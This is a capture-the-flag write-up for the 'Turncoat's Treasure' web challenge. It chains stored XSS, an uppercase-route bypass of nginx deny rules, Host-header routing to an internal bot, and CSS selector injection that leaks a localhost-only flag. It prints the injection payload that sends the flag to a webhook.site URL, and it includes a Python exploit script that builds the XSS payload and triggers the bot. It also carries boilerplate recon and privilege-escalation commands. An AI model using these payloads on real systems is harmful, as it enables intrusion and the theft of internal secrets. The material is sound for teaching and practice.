← Back to Writeups
HTBN/AWeb

Turncoat's Treasure

XESXOR8/23/20266 min read
#web#htb#n/a

Turncoat's Treasure

Platform: Umasscybersec | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-11 | Status: Solved Techniques: case_sensitive_route_bypass, css_exfiltration, host_header_internal_routing, stored_xss_to_bot

Summary

Task: a forum app exposed stored XSS, a wildcard Host-based proxy, and captain-only endpoints hidden behind nginx path filters. Solution: bypass the lowercase proxy block with uppercase Express routes, make the bot visit the XSS page, and leak the localhost-only treasure through CSS selector injection.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: umasscybersec | ID: 20260411_umasscybersec_turncoats_treasure
  • Tags: stored_xss, nginx, express, host_header, admin_bot, cors, wildcard_subdomain, css_injection
  • Indicators: template renders attacker content with {{ ... | safe }}, nginx blocks sensitive lowercase paths while the upstream app is Express, wildcard subdomain routing forwards based on the Host header, internal endpoint returns text/css and reflects attacker-controlled input before the secret
  • Source: 20260411_umasscybersec_turncoats_treasure.md

Foothold

Vulnerability / Misconfiguration

  1. Case_sensitive_route_bypass
  2. Css_exfiltration
  3. Host_header_internal_routing
  4. Stored_xss_to_bot
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • case_sensitive_route_bypass
  • css_exfiltration
  • host_header_internal_routing
  • stored_xss_to_bot
  • Tags: stored_xss, nginx, express, host_header, admin_bot, cors, wildcard_subdomain, css_injection

Original Writeup

<details><summary>Click to expand original content</summary>

Turncoat's Treasure — UMass Cybersecurity CTF

Description

Organizer description was not preserved in the local task files.

English summary: the challenge provided a forum-style web app plus hidden captain functionality. The goal was to pivot from a stored XSS in user profiles to an internal service, then exfiltrate a localhost-only flag despite same-origin and CORS restrictions.

Analysis

After downloading the assets and reviewing the source, the first useful bug appeared in the profile page template:

{{ p.content | safe }}

That made /user/:username a stored XSS sink. Any JavaScript placed in a forum post or profile content would execute when that profile page was rendered.

The next interesting components were the captain endpoints:

  • /call-captain
  • /treasure

At first glance they looked unreachable because nginx explicitly blocked those lowercase paths. However, the deployment also used a wildcard subdomain proxy that routed requests by Host. By sending a host like 10.128.6.2.<instancehost>, traffic could be forwarded to the internal captain service.

The key bypass was a mismatch between the reverse proxy and the backend:

  1. nginx location matching was case-sensitive for the blocking rule.
  2. Express routing was case-insensitive by default.

That meant /CALL-CAPTAIN was not caught by nginx's lowercase deny rule, but Express still treated it as /call-captain and served the captain logic. The same applied to /TREASURE, but the captain service itself still limited /treasure to localhost, so an extra pivot was required.

This naturally suggested using the bot. By requesting:

GET /CALL-CAPTAIN?endpoint=/user/<attacker_username>
Host: 10.128.6.2.<instancehost>

the captain bot was convinced to visit our stored-XSS profile page from inside the internal network context.

The first idea was the obvious one: let the XSS run fetch('https://127.0.0.1/treasure') and exfiltrate the response body. That failed because the browser blocked access to the response via CORS. The bot could make the request, but our JavaScript could not read the returned data.

The breakthrough came from the response format. /treasure returned text/css, and it reflected the name parameter before the flag in a string like here is your treasure .... Because the browser was willing to load cross-origin CSS as a stylesheet, the flag no longer needed to be read with JavaScript. Instead, it could be leaked through CSS parsing side effects.

Naive payloads that simply injected something after a semicolon did not work reliably because the fixed prefix here is your treasure came before our input and broke the stylesheet grammar. The successful trick was selector-list injection. By starting the reflected name with something like:

,body{background:url(https://webhook.site/<uuid>?m=b&d=\

the full server response became valid CSS. The leading comma appended a new selector, body{...} created a rule that forced the browser to fetch our webhook URL, and the trailing backslash escaped the inserted space before the flag. As a result, the flag text that followed in the reflected response was absorbed into the url(...) token and sent to our webhook.

Observed webhook hits looked like:

https://webhook.site/<uuid>?m=b&d=%20UMASS{...}

which cleanly revealed the flag.

Solution

  1. Download and inspect the challenge assets.
  2. Find stored XSS in /user/:username because profile content is rendered with {{ p.content | safe }}.
  3. Identify the hidden captain functionality behind /call-captain and /treasure.
  4. Notice that nginx blocks only lowercase paths, while Express accepts uppercase variants.
  5. Use the wildcard Host-based proxy with Host: 10.128.6.2.<instancehost> to route requests to the internal captain service.
  6. Trigger the internal bot with /CALL-CAPTAIN?endpoint=/user/<username> so it visits the attacker-controlled profile page and executes the stored XSS.
  7. Try direct JavaScript exfiltration from https://127.0.0.1/treasure and observe that CORS prevents reading the response.
  8. Switch to CSS-based exfiltration because /treasure returns text/css and reflects name before the flag.
  9. From XSS, inject a stylesheet pointing to:
   https://127.0.0.1/treasure?name=,body{background:url(https://webhook.site/<uuid>?m=b&d=\
  1. Let the browser parse the reflected CSS, request the webhook URL containing the flag, and recover the flag from the webhook logs.
#!/usr/bin/env python3
import sys
import urllib.parse
import requests


def build_xss(webhook_url: str) -> str:
    css_prefix = ",body{background:url(" + webhook_url + "?m=b&d=\\"
    treasure_url = "https://127.0.0.1/treasure?name=" + urllib.parse.quote(css_prefix, safe="")

    return f'''<script>
const link = document.createElement("link");
link.rel = "stylesheet";
link.href = "{treasure_url}";
document.head.appendChild(link);
</script>'''


def call_captain(base_url: str, instance_host: str, username: str):
    url = base_url.rstrip("/") + f"/CALL-CAPTAIN?endpoint=/user/{urllib.parse.quote(username)}"
    headers = {"Host": f"10.128.6.2.{instance_host}"}
    r = requests.get(url, headers=headers, timeout=10, allow_redirects=False)
    print("[+] Captain trigger status:", r.status_code)


if __name__ == "__main__":
    if len(sys.argv) != 5:
        print(f"Usage: {sys.argv[0]} <base_url> <instancehost> <username> <webhook_url>")
        sys.exit(1)

    base_url, instance_host, username, webhook_url = sys.argv[1:5]
    payload = build_xss(webhook_url)

    print("[+] Store this payload in your forum profile content:\n")
    print(payload)
    print("\n[+] Then trigger the bot with the captain route.")

    call_captain(base_url, instance_host, username)

The important payload idea was not JavaScript-based reading of the flag, but forcing the browser to treat the localhost response as CSS and then making CSS syntax itself carry the secret into a request we could observe.

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR